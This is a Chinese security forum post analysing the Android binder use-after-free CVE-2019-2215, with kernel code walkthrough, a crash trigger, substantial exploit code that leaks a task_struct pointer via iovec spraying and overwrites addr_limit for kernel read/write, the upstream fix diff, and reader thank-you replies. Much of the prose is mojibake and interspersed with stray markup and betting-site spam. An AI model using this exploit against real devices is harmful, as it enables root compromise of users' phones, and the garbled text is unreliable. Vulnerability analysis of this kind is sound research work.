ƽ - LCG - LSG |׿ƽ||ƽܛ|ŷƱ  www.ykwek.com

 һܴa
 ע[Register]

QQ

ֻһ_ʼ

: ctf Ó ̳
12345678һ
б l
鿴: 11336|؏: 75
һ} һ}

欧洲五大足球联赛 : [©] CVE-2019-2215©W

  [朽]
Dָnj
l 2019-12-31 21:04
2020-1-9 17:06 ݋

NHW^ӛ;
ܾòlһ߀njcɶҲDŽ|׿©С֮ǰֻ|^һˮ􌑵IJgӭλָͬM

NҪᘌgit_ԴCVE-2019-2215 expԴaԼԓ©ԭչ_Ȼԓexp߀кܴmm䷽߀ܶ๤

©B
        CVE-2019-2215Google˾Project ZeroСMlFԓ˾{СMTAG_JڌHTAGʾԓ©ÿܸһҳ©ùߵɫй˾NSOPSNSOFl˹_Jcԓ©κPϵԓ©|ǃȺ˴aһ̎UAF©ɹÿɱؙпȫÑOҪɹԓ©ҪMijЩضl
©Ԕ飺  
ֱӿ_һθC
[C] ı鿴 ƴa
 ŷƱ  www.ykwek.com #include <fcntl.h>
[/font][font=w]#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define BINDER_THREAD_EXIT 0x40046208ul
int main()
{
        int fd, epfd;
        struct epoll_event event = { .events = EPOLLIN };
        fd = open("/dev/binder0", O_RDONLY);
        epfd = epoll_create(1000);
        epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
        ioctl(fd, BINDER_THREAD_EXIT, NULL);
}


ٷ飺
[size=13.3333px]binder_poll() passes the thread->wait waitqueue that
can be slept on for work. When a thread that uses
epoll explicitly exits using BINDER_THREAD_EXIT,
the waitqueue is freed, but it is never removed
from the corresponding epoll data structure. When
the process subsequently exits, the epoll cleanup
code tries to access the waitlist, which results in

[size=13.3333px]a use-after-free.
ԭ䌍ܺʹepollľ{
BINDER_THREAD_EXITbinder_threadጷM̽Yepoll{EPOLL_CTL_DELrvጷŵbinder_threadеwait
[C] ı鿴 ƴa
struct binder_thread {
        struct binder_proc *proc;
        struct rb_node rb_node;
        struct list_head waiting_thread_node;
        int pid;
        int looper;              /* only modified by this thread */
        bool looper_need_return; /* can be written by other thread */
        struct binder_transaction *transaction_stack;
        struct list_head todo;
        bool process_todo;
        struct binder_error return_error;
        struct binder_error reply_error;
        wait_queue_head_t wait;
        struct binder_stats stats;
        atomic_t tmp_ref;
        bool is_dead;
        struct task_struct *task;
};
עȴwait_queue_head_tԓֶ|luafcY£typedef struct __wait_queue_head wait_queue_head_t;

struct __wait_queue_head {
    spinlock_t      lock;
    struct list_head    task_list;
};

list_headǂp朱M˳ĕr҂{EPOLL_CTL_DELrepollhʹõbinder_thread->wait,UAF
[C] ı鿴 ƴa
static long binder_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
        int ret;
        struct binder_proc *proc = filp->private_data;
        struct binder_thread *thread;
        unsigned int size = _IOC_SIZE(cmd);
......
        case BINDER_THREAD_EXIT:
                binder_debug(BINDER_DEBUG_THREADS, "%d:%d exit\n",
                             proc->pid, thread->pid);
                binder_thread_release(proc, thread);
                thread = NULL;
                break;
......
}

ͨ^3.18.70ȺԴaҵUAF freebinder_ioctl{BINDER_THREAD_EXITr{binder_thread_releaseеăȺ˴aֱ{õbinder_free_thread
Kbinder_free_threadkfreethread
[C] ı鿴 ƴa
static int binder_thread_release(struct binder_proc *proc,
                                 struct binder_thread *thread)
{
......
if (send_reply)
                binder_send_failed_reply(send_reply, BR_DEAD_REPLY);
        binder_release_work(proc, &thread->todo);
        binder_thread_dec_tmpref(thread);
        return active_transactions;
......
}
/////////////////////////////////
static void binder_thread_dec_tmpref(struct binder_thread *thread)
{
......
                binder_free_thread(thread);
                return;
        }
......
}
///////////////////////////////
static void binder_free_thread(struct binder_thread *thread)
{
        BUG_ON(!list_empty(&thread->todo));
        binder_stats_deleted(BINDER_STAT_THREAD);
        binder_proc_dec_tmpref(thread->proc);
        put_task_struct(thread->task);
        kfree(thread);

}

after use֮ǰጷŵbinder_threadeppoll_entryٴαʹ
[C] ı鿴 ƴa
static void ep_unregister_pollwait(struct eventpoll *ep, struct epitem *epi)
{
        struct list_head *lsthead = &epi->pwqlist;
        struct eppoll_entry *pwq;
        while (!list_empty(lsthead)) {
                pwq = list_first_entry(lsthead, struct eppoll_entry, llink);
                list_del(&pwq->llink);
                ep_remove_wait_queue(pwq);
                kmem_cache_free(pwq_cache, pwq);
        }
}
static void ep_remove_wait_queue(struct eppoll_entry *pwq)
{
......    whead = smp_load_acquire(&pwq->whead);
        if (whead)
                remove_wait_queue(whead, &pwq->wait);
......
}
void remove_wait_queue(wait_queue_head_t *q,wait_queue_t *wait)
{
......
        __remove_wait_queue(q, wait);
......
}

˕rqָĔѽጷ|l˃Ⱥ˱ȻҲп@ƬgֱՈ˻ԭqָЧĔԓpocЧДԼ֙CǷԓ©__remove_wait_queue¿EPOLL_CTL_DEL|Ͼһ朱Ąh,next->prev=prev
[C] ı鿴 ƴa
static inline void __remove_wait_queue(wait_queue_head_t *head,wait_queue_t *old)
{       
 list_del(&old->task_list);
}
static inline void list_del(struct list_head *entry){   
     __list_del(entry->prev,entry->next);   
     entry->next = LIST_POISON1;      
  entry->prev = LIST_POSION2;
}
static inline void __list_del(struct list_head *prev,struct list_head *next){   
     next->prev=prev;       
 WRITE_ONCE(prev->next,next);
}



©ã     
yԇ֙Cpx2Ⱥ˰汾4.4.155.     
õĺiovec@Ywȥռλጷŵbinder_threadԓkeen64λiovecСH0x10Ժܷؿ҂ҪֶԼkmallocĴСȻm^Ҳwaitc֮δRr

[C] ı鿴 ƴa
struct iovec{
     void *iov_base; /* Pointer to data. */
     size_t iov_len; /* Length of data. */
};

readv,wreitev time-of-check time-of-useC@^䌦iov_baseǷÑBַęz,kmallocgbinder_threadMռλ
[C] ı鿴 ƴa
static ssize_t do_readv_writev(int type, struct file *file,
                               const struct iovec __user * uvector,
                               unsigned long nr_segs, loff_t *pos)
{
......
ret = rw_copy_check_uvector(type, uvector, nr_segs,
                                    ARRAY_SIZE(iovstack), iovstack, &iov);
......
}[/font][font=w]///////////////////[/font][font=w]ssize_t rw_copy_check_uvector(int type, const struct iovec __user * uvector,
         unsigned long nr_segs, unsigned long fast_segs,
         struct iovec *fast_pointer,
         struct iovec **ret_pointer)[/font][font=w]{[/font][font=w]unsigned long seg;
 ssize_t ret;
 struct iovec *iov = fast_pointer;[/font]
[font=w] /*
  * SuS says "The readv() function *may* fail if the iovcnt argument
  * was less than or equal to 0, or greater than {IOV_MAX}.  Linux has
  * traditionally returned zero for zero segments, so...
  */
 if (nr_segs == 0) {
  ret = 0;
  goto out;
 }[/font]
[font=w] /*
  * First get the "struct iovec" from user memory and
  * verify all the pointers
  */
 if (nr_segs > UIO_MAXIOV) {
  ret = -EINVAL;
  goto out;
 }
 if (nr_segs > fast_segs) {
  iov = kmalloc(nr_segs*sizeof(struct iovec), GFP_KERNEL);
  if (iov == NULL) {
   ret = -ENOMEM;
   goto out;
  }
 }
 if (copy_from_user(iov, uvector, nr_segs*sizeof(*uvector))) {
[/font]
[font=w]......[/font][font=w]}[/font][font=w]

leak info
   ֱӿexpԴaǃȺϢй¶֣
[C] ı鿴 ƴa
struct epoll_event event = { .events = EPOLLIN };
[/font][font=w]  if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add");

  struct iovec iovec_array[IOVEC_ARRAY_SZ];
  memset(iovec_array, 0, sizeof(iovec_array));

  iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */
  iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0x1000; /* wq->task_list->next */
  iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */
  iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x1000;   int b;
 int pipefd[2];
 if (pipe(pipefd)) err(1, "pipe");
 if (fcntl(pipefd[0], F_SETPIPE_SZ, 0x1000) != 0x1000) err(1, "pipe size");
[/font]
[font=w] static char page_buffer[0x1000];

binder_threadС˂0x190/0x10iovecֻiovec_array[0xa]Լiovec_array[0xa+1]M˳ʼ
ԓȺwaitbinder_thread еƫƞ0xA0,iovecYwС0x10c֮ļiovec_array[0xa].iov_base
ԓƫƿzImage{binder_thread->wait̎IDAҵкܶط֮Opipe size0x1000
|lr{BINDER_THREAD_EXITጷbinder_thread,o{writevMռλ,Ⱥ{kmallocռλጷŵbinder_thread˕riovec_arrayM0-9ȫ0ֱӏiovec_array[0xa]MЌ
iovec_array[0xa].iov_lenõOõĹܵĴСiovec_array[0xa+1].iov_baseδՈĵַڴסȴxȡ
M{EPOLL_CTL_DELtask_listM朱unlink,iovec_array[0xa].iov_basei
iֻռ4ֹ҂Ԃһ8ֹmmapĵַ,ֻҪλȫ0tԲɱ
iovec_array[0xa].iov_lenԼiovec_array[0xa+1].iov_basetwait->task_list->nextԼwait->task_list->prev,unlink֮@ɂָᘄtָԼtask_listiovec_array[0xa].iov_lenռλλãɃȺϢй¶
Mxȡ0x1000LȟoЧܵ
Mٴ{readvxȡָwait->task_listwait->task_list->prevͨ^binder_thread->wait->task_list0xe8ƫƫ@ȡtask_structָ

[Asm] ı鿴 ƴa
 if (fork_ret == 0){
[/size][/font][font=w][size=3]    /* Child process */
    prctl(PR_SET_PDEATHSIG, SIGKILL);
    sleep(2);
    printf("CHILD: Doing EPOLL_CTL_DEL.\n");
    epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
    printf("CHILD: Finished EPOLL_CTL_DEL.\n");
    // first page: dummy data
    if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe");
    close(pipefd[1]);
    printf("CHILD: Finished write to FIFO.\n");

    exit(0);
  }
  //printf("PARENT: Calling READV\n");
  ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
  b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);
  printf("writev() returns 0x%x\n", (unsigned int)b);
  // second page: leaked data
  if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe");   printf("PARENT: Finished calling READV\n");
  int status;
  if (wait(&status) != fork_ret) err(1, "wait");[/size][/font]
[font=w][size=3]  current_ptr = *(unsigned long *)(page_buffer + 0xe8);
[/size][/font]
[font=w][size=3]  printf("current_ptr == 0x%lx\n", current_ptr);

ڹȸȺtask_structһֶΞthread_info,thread_infoеڶֶaddr_limitʮҪ_ÑBofȺָ
[C] ı鿴 ƴa
struct task_struct {
[/size][/font][font=w][size=3]#ifdef CONFIG_THREAD_INFO_IN_TASK
        /*
         * For reasons of header soup (see current_thread_info()), this
         * must be the first element of task_struct.
         */
        struct thread_info thread_info;
#endif
        volatile long state;        /* -1 unrunnable, 0 runnable, >0 stopped */
        void *stack;
        atomic_t usage;
        unsigned int flags;        /* per process flags, defined below */
        ......}
//////////////
struct thread_info{      
unsigned long flags;    
   mm_segment_t  addr_limit;      
......}


patch addr_limit:   
҂Ҫľnjpatch,Ҳǵڶã   
[C] ı鿴 ƴa
struct epoll_event event = { .events = EPOLLIN };
  if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add");

  struct iovec iovec_array[IOVEC_ARRAY_SZ];
  memset(iovec_array, 0, sizeof(iovec_array));

  unsigned long second_write_chunk[] = {
    1, /* iov_len */
    0xdeadbeef, /* iov_base (already used) */
    0x8 + 2 * 0x10, /* iov_len (already used) */
    current_ptr + 0x8, /* next iov_base (addr_limit) */
    8, /* next iov_len (sizeof(addr_limit)) */
    0xfffffffffffffffe /* value to write */
  };

  iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */
  iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 1; /* wq->task_list->next */
  iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */
  iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x8 + 2 * 0x10; /* iov_len of previous, then this element and next element */
  iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD;
  iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8; /* should be correct from the start, kernel will sum up lengths when importing */

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_STREAM, 0, socks)) err(1, "socketpair");
  if (write(socks[1], "X", 1) != 1) err(1, "write socket dummy byte");   pid_t fork_ret = fork();
  if (fork_ret == -1) err(1, "fork");
  if (fork_ret == 0){
    /* Child process */
    prctl(PR_SET_PDEATHSIG, SIGKILL);
    sleep(2);
    printf("CHILD: Doing EPOLL_CTL_DEL.\n");
    epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
    printf("CHILD: Finished EPOLL_CTL_DEL.\n");
    if (write(socks[1], second_write_chunk, sizeof(second_write_chunk)) != sizeof(second_write_chunk))
      err(1, "write second chunk to socket");
    exit(0);
  }
  ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
  struct msghdr msg = {
    .msg_iov = iovec_array,
    .msg_iovlen = IOVEC_ARRAY_SZ
  };
  int recvmsg_result = recvmsg(socks[0], &msg, MSG_WAITALL);
  printf("recvmsg() returns %d, expected %lu\n", recvmsg_result,
      (unsigned long)(iovec_array[IOVEC_INDX_FOR_WQ].iov_len +
      iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len +
      iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len));

֮ǰBINDER_THREAD_EXITጷorecvmsgʹiovecռλסȴ
˕riovec_array[0xa]С1ѽԼʹiov_lenl׃Ҳ]ӰM{EPOLL_CTL_DELunlinkiovec_array[0xa].iov_lenԼiovec_array[0xa+1].iov_baseҲքeָԼtask_listiovec_array[0xa].iov_lenռλλãٴ{writer0x8 + 2 * 0x10СĔiovec_array[0xa+1].iov_baseָ̎iovec_array[0xa].iov_lenăǾĘ
iovec_array[0xa].iov_len=1iovec_array[0xa+1].iov_base=0xDEADBEEFiovec_array[0xa+1].iov_len=0x8 + 2 * 0x10iovec_array[0xa+2].iov_base=current_ptr + 0x8iovec_array[0xa+2].iov_len=8߀ʣһLȞ8Ĕ0xfffffffffffffffeiovec_array[0xa+2].iov_base˕riovec_array[0xa+2].iov_baseѽǰһ׃current_ptr + 0x8addr_limit
patchaddr_limit˃ȺxdzҎͨ^̖@ȡһЩַƫӋַ^kaslrselinuxbalabala....


mM     
m^ҪĆ}binder_threadY翴һvivo_y15săȺԴabinder_threadYtask_structYʹԓٿ
[C] ı鿴 ƴa
struct binder_thread {
[/size][/font][font=w][size=3]        struct binder_proc *proc;
        struct rb_node rb_node;
        int pid;
        int looper;
        struct binder_transaction *transaction_stack;
        struct list_head todo;
        uint32_t return_error; /* Write failed, return error code in read buf */
        uint32_t return_error2; /* Write failed, return error code in read */
                /* buffer. Used when sending a reply to a dead process that */
                /* we are also waiting on */
        wait_queue_head_t wait;
        struct binder_stats stats;
#ifdef BINDER_PERF_EVAL
        struct binder_timeout_stats to_stats;
#endif
};
     ڟoֱpatchaddr_limitr҂ҸͨõϢй¶c^kaslrԲxbinder_threadй¶epoll EPOLL_CTL_ADDɴEPOLL_CTL_DEL@ȡepollăȴYͨ^ƥ@ȡepollPdַӋkernel_slidepasskaslrñ^ͨõ෽ȺR񹥓swapper_pg_dirԓַ
     ڿԌFַҲʮֺbinder_thread->waitciovecRƫƞ0x98rҪ˜iovecͬrӰ푵ͬһiov_baseiov_lenᘌ@Nr֪Ƿ߀ֱӌFַֻҪROPMо^˶Ĵи֪
         

Ϲٷaֻfreebinder_thread֮ǰһthread->wait
[C] ı鿴 ƴa
diff --git a/drivers/android/binder.c b/drivers/android/binder.c
index a340766..2ef8bd2 100644
--- a/drivers/android/binder.c
+++ b/drivers/android/binder.c
@@ -4302,6 +4302,18 @@ static int binder_thread_release(struct binder_proc *proc,
                 if (t)
                         spin_lock(&t->lock);
         }
+
+        /*
+         * If this thread used poll, make sure we remove the waitqueue
+         * from any epoll data structures holding it with POLLFREE.
+         * waitqueue_active() is safe to use here because we're holding
+         * the inner lock.
+         */
+        if ((thread->looper & BINDER_LOOPER_STATE_POLL) &&
+            waitqueue_active(&thread->wait)) {
+                wake_up_poll(&thread->wait, POLLHUP | POLLFREE);
+        }
+
         binder_inner_proc_unlock(thread->proc);
 
         if (send_reply)


2020.01.09
һgwaitƫδ0x10Rr0x98,0x48ͨ^_Դexp÷ʽmϢй¶cҪmԒexpз߀ͨ^й¶epoll܇PÃȺR񹥓Mе

https://github.com/marcinguy/CVE-2019-2215/

https://bbs.pediy.com/thread-248444.htm
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/drivers/android/binder.c?h=linux-4.14.y&id=7a3cee43e935b9d526ad07f20bf005ba7e74d05b


Mu

42ێ +36 ֵ +38
_ + 1 + 1
bianlei + 1 + 1 Һٝͬ
am654456 + 1 + 1 x[email protected]
kaixuanmen + 1 Һٝͬ
nigacat + 1 + 1 Һٝͬ
9843635 + 1 + 1 Ļ؏
wad57210088 + 1 + 1 ӑՓ@
ʎ + 1 Ļ؏
ӵĽ + 1 Һٝͬ
Asula52 + 1 xlԭƷƽՓ
lemon__star + 1 + 1 Һٝͬ
gongyong728125 + 1 + 1 Ļ؏
ԏ + 1 + 1 ӑՓ@
samofan + 1 + 1 x[email protected]
һ + 1 + 1 ӑՓ@
chkds + 1 + 1 Һٝͬ
zerglurker + 1 + 1 x[email protected]
Ghouk + 1 + 1 x[email protected]
+ 1 + 1 x[email protected]
ArnoD + 1 + 1 ӑՓ@
֐یW + 1 Һٝͬ
you920928 + 1 + 1 x[email protected]
YIZU + 1 + 1 Һٝͬ
uatlaosiji + 1 + 1 ӑՓ@
zhangchang + 1 + 1 ӑՓ@
yixi + 1 + 1 Һٝͬ
Nachtmusik + 1 + 1 ĄDNܛȫߺęn
deeplearning + 1 + 1 Һٝͬ
poisonbcat + 1 + 1 x[email protected]
linrunqing521 + 1 ӑՓ@
PJS961219 + 1 x[email protected]
QGZZ + 1 + 1 x[email protected]
Tt2982 + 1 + 1 Һٝͬ
Lugia + 1 + 1 x[email protected]
siuhoapdou + 1 + 1 ӑՓ@
gaosld + 1 + 1 ӑՓ@
sevfox + 1 Һٝͬ
+ 1 x[email protected]
Plus_0426 + 1 + 1 x[email protected]
dz¶ + 1 Ļ؏
Rodge100 + 1 + 1 gӭӑՓƽՓ
xingzhe1314 + 1 + 1 Ї

鿴ȫu

lǰҪՓܕҪҵĴ𰸻ѽ˰l^ͬՈ؏Ͱl

؏

e

]
Plus_0426 l 2020-1-3 05:52
Thanks&#9834;(&#65381;&#65381;)&#65417;
]
amingMM l 2020-2-28 16:59
ɳl
miqi1314 l 2019-12-31 21:23
3#
nj001 l 2019-12-31 22:09
@܏,֧֘
4#
judgecx l 2020-1-1 00:02
ǰ^
5#
blindcat l 2020-1-1 09:22
W
6#
hs_f l 2020-1-1 16:16
W
7#
hs_f l 2020-1-2 10:10
x
8#
lsrh2000 l 2020-1-2 11:55
x
ŬWing
9#
cxydxy l 2020-1-2 13:39

xxWǛ]W
10#
hfw l 2020-1-2 14:48
12345678һ
б l

eҎt 棺Kֹˮ؏c}oP`P

ٻ؏ ղ б

RSSӆ|С|“ϵ҂|ŷƱ ( ICP16042023̖ | W 11010502030087̖ )

GMT+8, 2020-4-3 05:52

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

ٻ؏ ŷƱ б